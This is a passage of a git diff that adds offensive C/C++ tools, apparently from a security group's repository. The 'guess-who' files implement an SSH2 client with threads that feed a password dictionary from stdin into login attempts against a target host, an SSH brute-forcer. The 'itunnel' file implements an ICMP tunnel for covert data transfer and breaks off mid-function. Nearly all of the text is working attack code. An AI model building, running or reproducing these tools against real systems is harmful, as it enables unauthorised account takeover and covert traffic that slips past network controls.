sizeof(buf))) <= 0) { + error = "SSH2::banner_exchange::read() "; + error += strerror(errno); + return -1; + } + char *crlf; + if ((crlf = strchr(buf, '\n')) != NULL) + *crlf = 0; + if ((crlf = strchr(buf, '\r')) != NULL) + *crlf = 0; + snprintf(d_banner, sizeof(buf), "%s", buf); + + // Add V_S to hash input + to_hash = (unsigned char*)realloc(to_hash, to_hash_len+strlen(buf) + sizeof(u_int32_t)); + *(u_int32_t*)&to_hash[to_hash_len] = htonl(strlen(buf)); + to_hash_len += sizeof(u_int32_t); + memcpy(&to_hash[to_hash_len], buf, strlen(buf)); + to_hash_len += strlen(buf); + + if ((r = writen(peer, banner, strlen(banner))) <= 0) { + error = "SSH2::banner_exchange::writen() "; + error = strerror(errno); + } + + return 0; +} + + +int SSH2::kex_init() +{ + char my_kex_msg[] = + "\x14" // SSH_MSG_KEXINIT + "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" + "\x00\x00\x00\x1a" "diffie-hellman-group1-sha1" // kex algo + "\x00\x00\x00\x07" "ssh-dss" // server hostkey algo + "\x00\x00\x00\x08" "3des-cbc" // client to server enc algo + "\x00\x00\x00\x08" "3des-cbc" // server to client enc algo + "\x00\x00\x00\x09" "hmac-sha1" // client to server MAC algo + "\x00\x00\x00\x09" "hmac-sha1" // server to client MAC algo + "\x00\x00\x00\x04" "none" // client to server comp algo + "\x00\x00\x00\x04" "none" // server to client comp algo + "\x00\x00\x00\x00" // client to server language + "\x00\x00\x00\x00" // server to client language + "\x00" + "\x00\x00\x00\x00"; + unsigned char buf[1024], *ptr; + int r; + size_t n; + + // Add I_C to hash input + to_hash = (unsigned char*)realloc(to_hash, to_hash_len+sizeof(my_kex_msg)-1+sizeof(u_int32_t)); + *(u_int32_t*)&to_hash[to_hash_len] = htonl(sizeof(my_kex_msg)-1); + to_hash_len += sizeof(u_int32_t); + memcpy(&to_hash[to_hash_len], my_kex_msg, sizeof(my_kex_msg)-1); + to_hash_len += sizeof(my_kex_msg)-1; + + r = packet_write(my_kex_msg, sizeof(my_kex_msg)-1); + if (r < 0) { + error = "SSH2::kex_init::packet_write() "; + error = strerror(errno); + return -1; + } + if (packet_read(buf, sizeof(buf), &n) <= 0) + return -1; + ptr = buf; + if (*ptr != SSH_MSG_KEXINIT) { + error = "SSH2::kex_init: packet type != SSH_MSG_KEXINIT"; + return -1; + } + + // Add I_S to hash input + to_hash = (unsigned char*)realloc(to_hash, to_hash_len+n+sizeof(u_int32_t)); + *(u_int32_t*)&to_hash[to_hash_len] = htonl(n); + to_hash_len += sizeof(u_int32_t); + memcpy(&to_hash[to_hash_len], ptr, n); + to_hash_len += n; + + return 0; +} + + +int SSH2::hash_helper(const char *letter, unsigned char d1[20], + unsigned char d2[20], bool expand) +{ + EVP_MD_CTX md; + EVP_DigestInit(&md, EVP_sha1()); + + // shared_secret as mpint + unsigned char *secret = new unsigned char[shared_secret_len+1+4]; + int h = *shared_secret & 0x80 ? 1 : 0; + *(u_int32_t*)secret = htonl(shared_secret_len+h); + secret[sizeof(u_int32_t)] = 0; + memcpy(&secret[sizeof(u_int32_t)+h], shared_secret, shared_secret_len); + + EVP_DigestUpdate(&md, secret, shared_secret_len+h+4); + EVP_DigestUpdate(&md, session_id, sizeof(session_id)); + EVP_DigestUpdate(&md, (unsigned char*)letter, 1); + EVP_DigestUpdate(&md, session_id, sizeof(session_id)); + EVP_DigestFinal(&md, d1, NULL); + + // Our expansion gives 40bytes, enough for 3DES keys and IV's + if (expand) { + EVP_DigestInit(&md, EVP_sha1()); + EVP_DigestUpdate(&md, secret, shared_secret_len+h+4); + EVP_DigestUpdate(&md, session_id, sizeof(session_id)); + EVP_DigestUpdate(&md, d1, 20); // sizeof(d1) == 4 !!! + EVP_DigestFinal(&md, d2, NULL); + } + + delete [] secret; + return 0; +} + + +int SSH2::derive_keys() +{ + // First, compute HASH == session_id + EVP_MD_CTX md; + EVP_DigestInit(&md, EVP_sha1()); + EVP_DigestUpdate(&md, to_hash, to_hash_len); + EVP_DigestFinal(&md, session_id, NULL); + + if (debug > 1) + buffer_dump("session_id", session_id, sizeof(session_id)); + + unsigned char d1[20], d2[20]; + hash_helper("A", d1, d2, 0); memcpy(s_iv, d1, 8); + hash_helper("B", d1, d2, 0); memcpy(r_iv, d1, 8); + + // Now for the encryption keys: we need to expand to 24 byte + hash_helper("C", d1, d2, 1); + des_set_key((const_des_cblock*)d1, s_key1); + des_set_key((const_des_cblock*)(d1+8), s_key2); + + // last 4 byte of d1 and first 4 byte of d2 build 3rd key. ufff. + unsigned char dummy[8]; + memcpy(dummy, d1+16, 4); memcpy(dummy+4, d2, 4); + des_set_key((const_des_cblock*)dummy, s_key3); +// buffer_dump("C", d1, 20); +// buffer_dump("C", d2, 4); + + + hash_helper("D", d1, d2, 1); +// buffer_dump("D", d1, 20); +// buffer_dump("D", d2, 4); + + + des_set_key((const_des_cblock*)d1, r_key1); + des_set_key((const_des_cblock*)(d1+8), r_key2); + memcpy(dummy, d1+16, 4); memcpy(dummy+4, d2, 4); + des_set_key((const_des_cblock*)dummy, r_key3); + + // MAC keys have same length as their hashoutput of used + // hashing function + hash_helper("E", s_mac, d2, 0); + hash_helper("F", r_mac, d2, 0); + return 0; +} + + + +int SSH2::dh_exchange() +{ + DH *e = dh_new_group1(); + + // generate x as in secsh-draft + e->priv_key = BN_new(); + if (BN_rand(e->priv_key, 1024, 0, 0) == 0) { + error = "SSH2::dh_exchange::BN_rand() returned 0"; + return -1; + } + // compute e = g^x mod p + if (DH_generate_key(e) == 0) { + error = "SSH2::dh_exchange::DH_generate_key() returned 0"; + return -1; + } + unsigned char *e_bin = new unsigned char[BN_num_bytes(e->pub_key)+1+1+4]; + unsigned char *e_tmp = new unsigned char[BN_num_bytes(e->pub_key)]; + + assert(e_bin && e_tmp); + + BN_bn2bin(e->pub_key, e_tmp); + int h = *e_tmp & 0x80 ? 1 : 0; + + // send e as mpint across network + e_bin[0] = SSH_MSG_KEXDH_INIT; + + // Somehow OpenSSH looks whether e is signed and adds 0x00 in front + // if so (length incremented by one). 'h' is true when highbit is set + // Thats why we mess with e_tmp: We need to add 0x00 in some cases and + // stretch the length by one. Same for shared_secret few lines later. + e_bin[5] = 0; + *(u_int32_t*)&e_bin[1] = htonl(BN_num_bytes(e->pub_key)+h); + memcpy(&e_bin[5+h], e_tmp, BN_num_bytes(e->pub_key)); + packet_write(e_bin, BN_num_bytes(e->pub_key)+h+1+4); + + delete [] e_tmp; + + + size_t n; + unsigned char server_blob[32768], *ptr = server_blob; + if (packet_read(server_blob, sizeof(server_blob), &n) <= 0) + return -1; + + if (*ptr != SSH_MSG_KEXDH_REPLY) { + error = "SSH2::dh_exchange: type != SSH_MSG_KEXDH_REPLY"; + return -1; + } + ++ptr; + + // hostkey is a string + size_t hostkey_len = ntohl(*(u_int32_t*)ptr); + + + // Add K_S to hash input, its already in string format + to_hash = (unsigned char*)realloc(to_hash, to_hash_len+hostkey_len+sizeof(u_int32_t)); + memcpy(&to_hash[to_hash_len], ptr, hostkey_len+sizeof(u_int32_t)); + to_hash_len += hostkey_len + sizeof(u_int32_t); + + ptr += sizeof(u_int32_t); + ptr += hostkey_len; + + // Add e to hash input, already in mpint format at &e_bin[1] + to_hash = (unsigned char*)realloc(to_hash, to_hash_len+BN_num_bytes(e->pub_key)+h+4); + memcpy(&to_hash[to_hash_len], e_bin+1, BN_num_bytes(e->pub_key)+h+4); + to_hash_len += BN_num_bytes(e->pub_key)+h+4; + + delete [] e_bin; + + if (debug > 0) + fprintf(stderr, "hostkey_len=%d\n", hostkey_len); + + // get f. f is mpint (which is same as string :) + size_t f_len = ntohl(*(u_int32_t*)ptr); + + + // Add f to hash input, already in mpint format + to_hash = (unsigned char*)realloc(to_hash, to_hash_len+f_len+sizeof(u_int32_t)); + memcpy(&to_hash[to_hash_len], ptr, f_len+sizeof(u_int32_t)); + to_hash_len += f_len+sizeof(u_int32_t); + + // go to f + ptr += sizeof(u_int32_t); + + BIGNUM *f = BN_new(); + BN_bin2bn(ptr, f_len, f); + + shared_secret = new unsigned char[DH_size(e)]; + shared_secret_len = DH_compute_key(shared_secret, f, e); + + // Add shared_secret to hash input + // Once again, add 0x00 of it is signed + h = *shared_secret & 0x80 ? 1 : 0; + to_hash = (unsigned char*)realloc(to_hash, to_hash_len+shared_secret_len+sizeof(u_int32_t)+h); + *(u_int32_t*)&to_hash[to_hash_len] = htonl(shared_secret_len+h); + to_hash_len += sizeof(u_int32_t); + to_hash[to_hash_len] = 0; + memcpy(&to_hash[to_hash_len+h], shared_secret, shared_secret_len); + to_hash_len += shared_secret_len+h; + + + if (debug > 1) + buffer_dump("shared_secret", shared_secret, shared_secret_len); +// buffer_dump("to_hash", to_hash, to_hash_len); + + derive_keys(); + + return 0; +} + + +int SSH2::newkeys() +{ + char c = SSH_MSG_NEWKEYS; + int r = packet_write(&c, 1); + use_crypto = 1; + return r; +} + + +int SSH2::userauth_passwd(const char *user, const char *password) +{ + char preq[32768], *ptr = preq; + size_t preq_len = 0, l, n; + unsigned char reply[32768]; + + assert(strlen(user) + strlen(password) < 32000); + + + preq[0] = SSH_MSG_SERVICE_REQUEST; + ++ptr; + *(u_int32_t*)ptr = htonl(12); + ptr += sizeof(u_int32_t); + memcpy(ptr, "ssh-userauth", 12); + ptr += 12; + packet_write(preq, ptr-preq); + if (packet_read(reply, sizeof(reply), &n) < 0) + return -1; + if (reply[0] != SSH_MSG_SERVICE_ACCEPT) { + error = "SSH2::userauth_passwd: 'ssh-userauth' message not accepted"; + sprintf(preq, "(%d)", reply[0]); + error += preq; + return -1; + } + ptr = preq; + preq[0] = SSH_MSG_USERAUTH_REQUEST; + ++ptr; + ++preq_len; + + *(u_int32_t*)ptr = htonl(strlen(user)); + ptr += sizeof(u_int32_t); + preq_len += sizeof(u_int32_t); + memcpy(ptr, user, strlen(user)); + ptr += strlen(user); + preq_len += strlen(user); + + *(u_int32_t*)ptr = htonl((l = strlen("ssh-connection"))); + ptr += sizeof(u_int32_t); + preq_len += sizeof(u_int32_t); + memcpy(ptr, "ssh-connection", l); + ptr += l; + preq_len += l; + + *(u_int32_t*)ptr = htonl((l = strlen("password"))); + ptr += sizeof(u_int32_t); + preq_len += sizeof(u_int32_t); + memcpy(ptr, "password", l); + ptr += l; + preq_len += l; + + *ptr = 0; // FALSE ;-) + ++ptr; + ++preq_len; + + *(u_int32_t*)ptr = htonl((l = strlen(password))); + ptr += sizeof(u_int32_t); + preq_len += sizeof(u_int32_t); + memcpy(ptr, password, l); + ptr += l; + preq_len += l; + + packet_write(preq, preq_len); + + memset(reply, 0, sizeof(reply)); + do { + if (packet_read(reply, sizeof(reply), &n) < 0) + return -1; + } while (reply[0] != SSH_MSG_USERAUTH_FAILURE && + reply[0] != SSH_MSG_USERAUTH_SUCCESS); + + return (reply[0] == SSH_MSG_USERAUTH_FAILURE); +} + +/* Only checks whether pubkey is valid */ +int SSH2::userauth_pubkey(const char *user, const char *keyfile) +{ + struct stat st; + unsigned char reply[1024]; + size_t n, l; + + FILE *f = fopen(keyfile, "r"); + if (!f || stat(keyfile, &st) < 0) { + error = "SSH2::userauth_pubkey: "; + error += strerror(errno); + return -1; + } + char *buf = new char[st.st_size]; + fgets(buf, st.st_size, f); + + // jump over ssh-rsa + char *keyblob64 = strstr(buf, "ssh-rsa "); + if (!keyblob64) { + error = "SSH2::userauth_pubkey: Wrong format of keyfile"; + return -1; + } + keyblob64 += 8; + char *tmp = strchr(keyblob64, ' '); + if (!keyblob64) { + error = "SSH2::userauth_pubkey: Wrong format of keyfile"; + return -1; + } + + // eliminate icke@dort + *tmp = 0; + + + // First, send SERVICE_REQUEST for userauth + char preq[128], *ptr = preq; + preq[0] = SSH_MSG_SERVICE_REQUEST; + ++ptr; + *(u_int32_t*)ptr = htonl(12); + ptr += sizeof(u_int32_t); + memcpy(ptr, "ssh-userauth", 12); + ptr += 12; + packet_write(preq, ptr-preq); + if (packet_read(reply, sizeof(reply), &n) < 0) + return -1; + if (reply[0] != SSH_MSG_SERVICE_ACCEPT) { + error = "SSH2::userauth_passwd: 'ssh-userauth' message not accepted"; + return -1; + } + + + // now send USERAUTH_REQUEST for ssh-connection + // service + size_t len = 1 + strlen(user) + 4 + strlen("ssh-connection") + 4 + + strlen("publickey") + 4 + 1 + strlen(keyblob64); + char *p = new char [len]; + ptr = p; + *ptr = SSH_MSG_USERAUTH_REQUEST; + ++ptr; + *(u_int32_t*)ptr = htonl(l = strlen(user)); + ptr += sizeof(u_int32_t); + memcpy(ptr, user, l); + ptr += l; + + *(u_int32_t*)ptr = htonl(l = strlen("ssh-connection")); + ptr += sizeof(u_int32_t); + memcpy(ptr, "ssh-connection", l); + ptr += l; + + *(u_int32_t*)ptr = htonl(l = strlen("publickey")); + ptr += sizeof(u_int32_t); + memcpy(ptr, "publickey", l); + ptr += l; + + *ptr = 0; // FALSE + ++ptr; + + *(u_int32_t*)ptr = htonl(l = strlen("ssh-rsa")); + ptr += sizeof(u_int32_t); + memcpy(ptr, "ssh-rsa", l); + ptr += l; + + unsigned char *keyblob = new unsigned char [strlen(keyblob64)]; + l = b64_pton(keyblob64, keyblob, strlen(keyblob64)); + *(u_int32_t*)ptr = htonl(l); + ptr += sizeof(u_int32_t); + memcpy(ptr, keyblob, l); + packet_write(p, ptr-p+l); + + delete [] p; + delete [] buf; + delete [] keyblob; + + do { + if (packet_read(reply, sizeof(reply), &n) < 0) + return -1; + } while (reply[0] != SSH_MSG_USERAUTH_FAILURE && + reply[0] != SSH_MSG_USERAUTH_PK_OK); + + return (reply[0] == SSH_MSG_USERAUTH_FAILURE); +} + diff --git a/other/guess-who/ssh.h b/other/guess-who/ssh.h new file mode 100644 index 0000000..25e84e3 --- /dev/null +++ b/other/guess-who/ssh.h @@ -0,0 +1,160 @@ +/* + * Copyright (C) 2002,2003 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#ifndef __ssh_h__ +#define __ssh_h__ + +#include +#include +#include + +extern "C" { +#include +}; +#include + + +#define SSH_MSG_DISCONNECT 1 +#define SSH_MSG_IGNORE 2 +#define SSH_MSG_UNIMPLEMENTED 3 +#define SSH_MSG_DEBUG 4 +#define SSH_MSG_SERVICE_REQUEST 5 +#define SSH_MSG_SERVICE_ACCEPT 6 + + +#define SSH_MSG_KEXINIT 20 +#define SSH_MSG_NEWKEYS 21 + +#define SSH_MSG_KEXDH_INIT 30 +#define SSH_MSG_KEXDH_REPLY 31 + +#define SSH_MSG_KEX_DH_GEX_REQUEST_OLD 30 +#define SSH_MSG_KEX_DH_GEX_GROUP 31 +#define SSH_MSG_KEX_DH_GEX_INIT 32 +#define SSH_MSG_KEX_DH_GEX_REPLY 33 +#define SSH_MSG_KEX_DH_GEX_REQUEST 34 + +#define SSH_MSG_USERAUTH_REQUEST 50 +#define SSH_MSG_USERAUTH_FAILURE 51 +#define SSH_MSG_USERAUTH_SUCCESS 52 +#define SSH_MSG_USERAUTH_BANNER 53 + + +#define SSH_MSG_USERAUTH_PK_OK 60 +#define SSH_MSG_USERAUTH_PASSWD_CHANGEREQ 60 +#define SSH_MSG_USERAUTH_INFO_REQUEST 60 +#define SSH_MSG_USERAUTH_INFO_RESPONSE 61 + + +class SSH2 { +private: + // socket + int peer; + + // packet Seq No. + u_int32_t seq; + + // whether crypto is already enabled + bool use_crypto; + std::string error; + + // the shared secret which is output of DH exchange + unsigned char *shared_secret; + char d_banner[128]; + int shared_secret_len; + + // The keys for sending and receiving respectively + des_key_schedule s_key1; + des_key_schedule s_key2; + des_key_schedule s_key3; + + des_key_schedule r_key1; + des_key_schedule r_key2; + des_key_schedule r_key3; + + // The IV's for sending and receiving + des_cblock s_iv; + des_cblock r_iv; + + // mac keys for MAC computation; sedning+receiving + unsigned char s_mac[20], r_mac[20]; + + // Data to hash to get session_id + unsigned char *to_hash; + size_t to_hash_len; + + // could be larger, but we use just SHA1 + unsigned char session_id[20]; + + int debug; + + int derive_keys(); + + int hash_helper(const char *, unsigned char[20], unsigned char[20], bool); + +protected: + int packet_write(const void *, size_t); + + int packet_read(unsigned char *plain_buf, size_t pblen, size_t *n); +public: + SSH2() : seq(0), use_crypto(0), + shared_secret(NULL), to_hash(NULL), to_hash_len(0), debug(0) {} + + ~SSH2() { free(to_hash); delete [] shared_secret; } + + const char *why() { return error.c_str(); } + + const char *banner() { return d_banner; } + + int set_socket(int s) {peer = s; return s; } + + int get_socket() { return peer; } + + int banner_exchange(); + + int kex_init(); + + int dh_exchange(); + + int newkeys(); + + int doit() {return 0; } + + int userauth_passwd(const char *, const char *); + + int userauth_pubkey(const char *user, const char *keyfile); +}; + + +#endif + + + diff --git a/other/guess-who/thread.cc b/other/guess-who/thread.cc new file mode 100644 index 0000000..c12d5d9 --- /dev/null +++ b/other/guess-who/thread.cc @@ -0,0 +1,223 @@ +/* + * Copyright (C) 2002 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "thread.h" +#include "ssh.h" +#include "misc.h" + + +using namespace std; + +list creater::slist; +pthread_mutex_t creater::slist_lock = PTHREAD_MUTEX_INITIALIZER; +pthread_cond_t creater::slist_max_cond = PTHREAD_COND_INITIALIZER; +pthread_cond_t creater::slist_min_cond = PTHREAD_COND_INITIALIZER; + +pthread_mutex_t dictionary_lock = PTHREAD_MUTEX_INITIALIZER; +pthread_mutex_t output_lock = PTHREAD_MUTEX_INITIALIZER; +int j = 0; // number of tries +time_t now; + +int creater::create_connection() +{ + int sock = tcp_connect(host.c_str(), port); + if (sock < 0) + cerr< max_connections) { +// printf("SLEEP1\n"); + pthread_cond_wait(&slist_max_cond, &slist_lock); + } + if (slist.size() == 1) + pthread_cond_signal(&slist_min_cond); + pthread_mutex_unlock(&slist_lock); + return 0; +} + + +int creater::consume_connection() +{ + pthread_mutex_lock(&slist_lock); + while (slist.size() == 0) { +// printf("SLEEP2\n"); + pthread_cond_wait(&slist_min_cond, &slist_lock); + } +// printf("C%d\n", slist.size()); + int sock = *slist.begin(); + slist.erase(slist.begin()); + if (slist.size() == max_connections) + pthread_cond_signal(&slist_max_cond); + + pthread_mutex_unlock(&slist_lock); + return sock; +} + + +void *producer_thread(void *vp) +{ + thread_data *td = (thread_data*)vp; + creater c(td->host, td->port); + + for (;;) + c.create_connection(); + return NULL; +} + + +void *consumer_thread(void *vp) +{ + thread_data *td = (thread_data*)vp; + creater c(td->host, td->port); + SSH2 *ssh; + string pwd; + int i, r; + struct timeval tv; + + for (;;) { + ssh = new SSH2; + ssh->set_socket(c.consume_connection()); + if (ssh->banner_exchange() < 0) { + //fprintf(stderr, "%s\n", ssh->why()); + goto retry; + } + if (ssh->kex_init() < 0) { + cerr<why()<dh_exchange() < 0) { + cerr<why()<newkeys() < 0) { + cerr<why()<tries; ++i) { + pthread_mutex_lock(&dictionary_lock); + ++j; + if (!(cin>>pwd)) + break; + pthread_mutex_unlock(&dictionary_lock); + r=ssh->userauth_passwd(td->login.c_str(), pwd.c_str()); + gettimeofday(&tv, NULL); + pthread_mutex_lock(&output_lock); + printf("\r[ %05d ][ %05d ][ %015f ]"\ + "[ %8s ][ %15s ]\r", j, (int)(tv.tv_sec - now), + (double)j/(double)(tv.tv_sec-now+0.001), + td->login.c_str(), pwd.c_str()); + if (r == 0) + printf(" (!)\n\a"); + if (r < 0) { + //cerr<<"Too fast?\n"; + i = td->tries; + } + pthread_mutex_unlock(&output_lock); + } + retry: + close(ssh->get_socket()); + delete ssh; + } + return NULL; +} + + +void *single_try(void *vp) +{ + thread_data *td = (thread_data*)vp; + SSH2 *ssh; + int i, r; + string pwd; + struct timeval tv; + + for (;;) { + ssh = new SSH2; + r = tcp_connect(td->host.c_str(), td->port); + if (r < 0) + goto retry; + ssh->set_socket(r); + if (ssh->banner_exchange() < 0) { + //fprintf(stderr, "%s\n", ssh->why()); + goto retry; + } + if (ssh->kex_init() < 0) { + cerr<why()<dh_exchange() < 0) { + cerr<why()<newkeys() < 0) { + cerr<why()<tries; ++i) { + pthread_mutex_lock(&dictionary_lock); + ++j; + if (!(cin>>pwd)) + break; + pthread_mutex_unlock(&dictionary_lock); + r=ssh->userauth_passwd(td->login.c_str(), pwd.c_str()); + gettimeofday(&tv, NULL); + pthread_mutex_lock(&output_lock); + printf("\r[ %05d ][ %05d ][ %015f ]"\ + "[ %8s ][ %15s ]\r", j, (int)(tv.tv_sec - now), + (double)j/(double)(tv.tv_sec-now+0.001), + td->login.c_str(), pwd.c_str()); + if (r == 0) + printf(" (!)\n\a"); + if (r < 0) { + //cerr<<"Too fast?\n"; + i = td->tries; + } + pthread_mutex_unlock(&output_lock); + } + retry: + close(ssh->get_socket()); + delete ssh; + } + return NULL; +} + + diff --git a/other/guess-who/thread.h b/other/guess-who/thread.h new file mode 100644 index 0000000..9a3b7a8 --- /dev/null +++ b/other/guess-who/thread.h @@ -0,0 +1,76 @@ +/* + * Copyright (C) 2002 Sebastian Krahmer. + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Sebastian Krahmer. + * 4. The name Sebastian Krahmer may not be used to endorse or promote + * products derived from this software without specific prior written + * permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY + * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + */ +#include +#include +#include +#include +#include + + +using namespace std; + +class creater { + static list slist; + static pthread_mutex_t slist_lock, dictionary_lock; + static pthread_cond_t slist_max_cond, slist_min_cond; + + string host; + unsigned short port, max_connections; +public: + creater(const string &r, unsigned short p, unsigned short max = 10) + : host(r), port(p), max_connections(max) {} + + ~creater() {} + + int create_connection(); + + int consume_connection(); +}; + + + + + +void *producer_thread(void *); + +void *consumer_thread(void *); + +void *single_try(void *); + +struct thread_data { + string login, host, keyfile; + unsigned short port, tries; + bool passwd; +}; + +extern time_t now; + diff --git a/other/itunnel/Makefile b/other/itunnel/Makefile new file mode 100644 index 0000000..72ba728 --- /dev/null +++ b/other/itunnel/Makefile @@ -0,0 +1,10 @@ +CC=gcc +CFLAGS=-Wall + +all: it + +clean: + rm -f it + +%: %.c + $(CC) $(CFLAGS) -o $@ $< diff --git a/other/itunnel/it.c b/other/itunnel/it.c new file mode 100644 index 0000000..a1741c1 --- /dev/null +++ b/other/itunnel/it.c @@ -0,0 +1,176 @@ +/* + * itunnel - an ICMP tunnel by edi / teso + * usage: it [-i id] [-s packetsize] host + * establishes a bidirectional ICMP + * 'connection' with 'host' by listening + * to ICMP packets with a specific id + * (default: 7530). uses stdin and stdout + * and needs to run as root. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +struct icmp +{ + u_int8_t type; + u_int8_t code; + u_int16_t cksum; + u_int16_t id; + u_int16_t seq; +}; + +u_short in_cksum(u_short *, int); + +/* icmp_tunnel - does the ICMP tunneling :-) +int sock - ICMP socket used to communicate +struct sockaddr_in *target - other side +int infd - input +int outfd - output +int packetsize - ... +u_int16_t id - ... +*/ + +int icmp_tunnel(int sock, struct sockaddr_in *target, int infd, int outfd, int packetsize, u_int16_t id) { + + char* packet; + struct icmp *icmp, *icmpr; + int len; + int result; + fd_set fs; + + struct sockaddr_in from; + int fromlen; + int num; + + len = sizeof (struct icmp); + + packet = malloc (len+packetsize); + memset (packet, 0, len+packetsize); + + icmp = (struct icmp*)(packet); + icmpr = (struct icmp*)(packet+sizeof(struct ip)); + + while (1) { + FD_ZERO (&fs); + FD_SET (infd, &fs); + FD_SET (sock, &fs); + + select (infd>sock?infd+1:sock+1, &fs, NULL, NULL, NULL); + + if (FD_ISSET (infd, &fs)) { + result = read (infd, packet+len, packetsize); + if (!result) { + return 0; + } else if (result==-1) { + perror ("read"); + return -1; + } + icmp->type = 0; + icmp->code = 0; + icmp->id = id; + icmp->seq = 0; + icmp->cksum = 0; + icmp->cksum = in_cksum((u_short*)packet, len+result); + result = sendto (sock, (char*)packet, len+result, 0, (struct sockaddr*)target, sizeof (struct sockaddr_in)); + if (result==-1) { + perror ("sendto"); + return -1; + } + } + if (FD_ISSET (sock, &fs)) { + fromlen = sizeof (struct sockaddr_in); + num = recvfrom (sock, packet, len+packetsize, 0, (struct sockaddr*)&from, &fromlen); + if (icmpr->id == id) { + write (outfd, packet+sizeof(struct ip)+sizeof(struct icmp), num-sizeof(struct ip)-sizeof(struct icmp)); + } + } + } + + + return 0; +} + +int main (int argc, char** argv) { + struct sockaddr_in target; + int s; + + int packetsize = 100; + char* desthost = NULL; + u_int16_t id = 7530; + + argv++; + argc--; + + while (argc--) { + if (!strcmp(*argv, "-i")) { + if (!argc--) { + fprintf (stderr, "need argument\n"); + return -1; + } + argv++; + id = atoi(*argv++); + } else if (!strcmp(*argv, "-s")) { + if (!argc--) { + fprintf (stderr, "need argument\n"); + return -1; + } + argv++; + packetsize = atoi(*argv++); + } else desthost = *argv++; + } + + if (!desthost) { + fprintf (stderr, "no destination\n"); + return -1; + } + + if ((target.sin_addr.s_addr = inet_addr (desthost)) == -1) { + struct hostent* he; + if (!(he = gethostbyname (desthost))) { + herror ("gethostbyname"); + return -1; + } + memcpy (&target.sin_addr.s_addr, he->h_addr, he->h_length); + } + target.sin_family = AF_INET; + + if ( (s = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP)) == -1) { + perror ("socket"); + return -1; + } + + icmp_tunnel(s, &target, STDIN_FILENO, STDOUT_FILENO, packetsize, id); + + close(s); + + return 0; +} + +unsigned short +in_cksum (addr, len) + u_short *addr; + int 